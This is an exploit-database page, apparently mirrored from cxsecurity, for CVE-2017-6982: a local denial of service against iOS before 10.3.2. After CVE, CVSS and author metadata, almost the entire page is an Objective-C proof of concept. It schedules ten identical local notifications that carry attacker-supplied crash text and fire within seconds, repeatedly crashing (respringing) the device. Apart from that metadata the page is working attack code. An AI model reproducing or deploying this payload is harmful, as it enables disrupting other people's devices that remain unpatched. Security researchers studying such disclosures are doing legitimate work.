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Apple iOS < 10.3.2 - Notifications API Denial of Service

CVE Category Price Severity
CVE-2017-6982 CWE-254 Unknown High
Author Risk Exploitation Type Date
Unknown High Local 2017-05-18
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.6881 0.12817

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017050128

Below is a copy:

Apple iOS < 10.3.2 - Notifications API Denial of Service# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
# Date: 05-15-2017
# Exploit Author: Sem Voigtlnder (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
# Vendor Homepage: https://apple.com
# Software Link: https://support.apple.com/en-us/HT207798
# Version: iOS 10.3.2
# Tested on: iOS 10.3.2 iPhone 6
# CVE : CVE-2017-6982
 
# We do not disclose a PoC for remote notifications.
# PoC for local notifications. (Objective-C).
 
 
defaults = [NSUserDefaults standardUserDefaults];
UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];
 
//1
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
 
NSTimeInterval interval;
interval = 5; //Time here in second to respring
UILocalNotification* localNotification = [[UILocalNotification alloc] init];
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//2
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//3
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//4
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//5
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//6
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//7
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//8
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//9
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
//10
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
 
 


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